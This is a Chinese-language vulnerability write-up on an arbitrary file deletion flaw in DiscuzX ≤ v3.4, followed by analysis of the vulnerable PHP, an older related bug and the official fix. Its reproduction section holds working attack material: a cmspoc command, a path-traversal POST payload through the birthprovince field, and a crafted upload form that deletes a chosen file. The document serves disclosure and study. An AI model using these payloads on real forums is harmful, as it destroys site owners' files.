DiscuzX v3.4 任意文件删除漏洞

漏洞影响

DiscuzX版本 ≤ v3.4

官方于9月29日修复该漏洞:

https://gitee.com/ComsenzDiscuz/DiscuzX/comm/7d603a197c2717ef1d7e9ba654cf72aa42d3e574

漏洞复现

Dz下载地址: https://gitee.com/ComsenzDiscuz/DiscuzX.git 选择一个时间线在9月29日前的进行git checkout即可。比如 git checkout 1a912ddb4a62364d1736fa4578b42ecc62c5d0be。安装完成后,在当前目录下准备一个待删除的文件,比如theTestFile.txt

随便注册一个号,进入个人设置中心,即:

http://10.10.10.1:2500/DiscuzX/upload/home.php?mod=spacecp&ac=profile&op=base

cmsPoc

登陆后获取cookie后,命令行:

python cmspoc.py -u http://10.10.10.1:2500/DiscuzX/upload/home.php -t discuzx -s v34_delete_arbitrary_files

粘贴cookie,后输入需要删除的文件。

手动

修改出生地址为要删除的文件地址,这里比如 ../../theTestFile.txt

可以用burp截包修改

也可以先查看源代码(ctrl+U)后找到formhash值,这里测试环境中为2c7400c6

然后直接进行POST:

http://127.0.0.1:2500/DiscuzX/upload/home.php?mod=spacecp&ac=profilePOST:birthprovince=../../../theTestFile.txt&profilesubmit=1&formhash=2c7400c6

回到个人资料处,可以发现出生地已经改变。

法一

接下去是进行正式的任意文件删除。可以自己构造一个表单,如下:

<form action="http://127.0.0.1:2500/DiscuzX/upload/home.php?mod=spacecp&ac=profile&op=base" method="POST" enctype="multipart/form-data"><input type="file" name="birthprovince" value="../../../theTestFile.txt"/><input type="hidden" name="formhash" value="2c7400c6"/><input type="hidden" name="profilesubmit" value="1"/><input type="submit" value="Submit"/></from>

这里要注意两个点:

  1. 需要post一个birthprovince参数,其值为要删除的文件,即../../../theTestFile.txt
  2. 需要指定formhash参数,这里的值为2c7400c6

选择随便一张图片上传,点击submit,可以发现原本的theTestFile.txt已经被删除。

法二

另一种删除方法,直接在个人资料页面修改html代码。比如修改真实姓名处

修改name,value,type分别为birthprovince,要删除的文件路径,file。

之后选择随便一张图片上传,点击下方的保存,同样theTestFile也被删除。

漏洞分析

在source/include/spacecp/spacecp_profile.php中,第69行:

if(submitcheck('profilesubmit')) {

先对profilesubmit进行了一次检查。

之后第188行,有一段处理上传文件的代码:

if($_FILES) { $upload = new discuz_upload(); foreach($_FILES as $key => $file)

往下看,约莫第208行左右,有下述代码:

if(!$upload->error()) { $upload->save(); if(!$upload->get_image_info($attach['target'])) { @unlink($attach['target']); continue; } $setarr[$key] = ''; $attach['attachment'] = dhtmlspecialchars(trim($attach['attachment'])); if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) { if(isset($verifyinfo['field'][$key])) { @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $attach['attachment']; } continue; } if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) { @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $attach['attachment']; continue; } @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]); $setarr[$key] = $attach['attachment'];}

当文件上传成功,也就是!$upload->error(),会执行到unlink语句:

@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);

这里的$key,在前面foreach($_FILES as $key => $file)中定义。

$space,为用户个人资料,在source/include/spacecp/spacecp_profile.php的第23行左右:

$space = getuserbyuid($_G['uid']);space_merge($space, 'field_home');space_merge($space, 'profile');

这些操作会将用户相关的信息通过数据库提取出来保存到变量$space中。你可以在上面三句代码后面加上一句var_dump($space);,然后访问 http://127.0.0.1:2500/DiscuzX/upload/home.php?mod=spacecp&ac=profile 。

即可看到一堆的变量,比如说birthprovince。

所以思考一下这个过程:

  1. 设置birthprovince为要删除的文件,比如../../theTestFile.txt
  2. 上传文件,构造$key 为 birthprovince。
  3. space[
  4. key] = $space[birthprovince] =
  5. 拼接后 unlink(getglobal(XXX/profile/../../theTestFile.txt) 达到任意文件删除。

上面的这个思路,即对应着前面漏洞复现中的法一和法二。

相关老洞

乌云编号: wooyun-2014-065513

当时的漏洞代码出在source/include/spacecp/spacecp_profile.php中,第69行:

# 这是当时的漏洞代码if($_GET['deletefile'] && is_array($_GET['deletefile'])) {	foreach($_GET['deletefile'] as $key => $value) {		if(isset($_G['cache']['profilesetting'][$key])) {			echo (getglobal('setting/attachdir').'./profile/'.$space[$key]);			@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);			@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);			$verifyarr[$key] = $setarr[$key] = '';		}	}}

官方当时的补丁做法是:增加了一次判断

if($_GET['deletefile'] && is_array($_GET['deletefile'])) { foreach($_GET['deletefile'] as $key => $value) { if(isset($_G['cache']['profilesetting'][$key]) && $_G['cache']['profilesetting'][$key]['formtype'] == 'file') { echo "0"; @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]); @unlink(getglobal('settin g/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $setarr[$key] = ''; } }}

在删除之间多进行了一次验证:$_G['cache']['profilesetting'][$key]['formtype'] == 'file',也就是说,若要成功删除, 需要formtype为file类型。

漏洞修复

这次的漏洞修复简单粗暴,将unlink语句直接删除。。

原文发布于微信公众号 - 网络安全社区悦信安(yuexin_an)

原文发表时间:2017-10-30

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏云知识学习

关于FTP搭建问题

1. 匿名服务器的连接(独立的服务器) 在/etc/vsftpd.conf(或在/etc/vsftpd/vsftpd.conf)配置文件中添加如下几项: A...

63710
来自专栏C/C++基础

DOS常用命令大全

2010-04-17 22:27:19|  分类: 电脑技术 |  标签:dos命令大全 |字号大中小 订阅

1901
来自专栏何俊林

一个强大的网络库RxEasyHttp

本文来自周游的投稿,封装的网络请求库,github:https://github.com/zhou-you/RxEasyHttp,欢迎点击【阅读原文】,查看更多...

3708
来自专栏散尽浮华

进程管理利器-supervisor部署记录

一、简单介绍 supervisor是用来管理进程的一个工具,止于为什么要用supervisor,是因为相对于linux传统的进程管理方式来说,它有很多的优势: ...

3568
来自专栏Spark学习技巧

高性能:MYSQL异步客户端

实时处理领域,当需要使用外部存储数据染色的时候,需要慎重对待,不能让与外部系统之间的交互延迟对流的整个进度取决定性的影响。

2772
来自专栏技术博文

H5缓存机制浅析

1 H5 缓存机制介绍 H5,即 HTML5,是新一代的 HTML 标准,加入很多新的特性。离线存储(也可称为缓存机制)是其中一个非常重要的特性。H5 引入的离...

3918
来自专栏python学习指南

python爬虫(六)_urllib2:handle处理器和自定义opener

本文将介绍handler处理器和自定义opener,更多内容请参考:python学习指南 opener和handleer 我们之前一直使用的是urllib...

2768
来自专栏沈唁志

解决 TP3 框架 引入 Log.class.php 文件报错方法

朋友的这个问题真的很无语,可能会出现在使用 SVN 的情况下,使用 Git 进行团队开发忽略以后是不会出现这种问题的

1771
来自专栏happyJared

Java开发人员常用的服务配置(Nginx、Tomcat、JVM、Mysql、Redis)

3441
来自专栏MelonTeam专栏

Android动态权限

导语 随机聊需求中出现几个涉及权限的bug,所以对动态权限机制做了一个简单的整理。 概述 Android应用程序通过请求权限来访问设备数据,例如联...

2025

扫码关注云+社区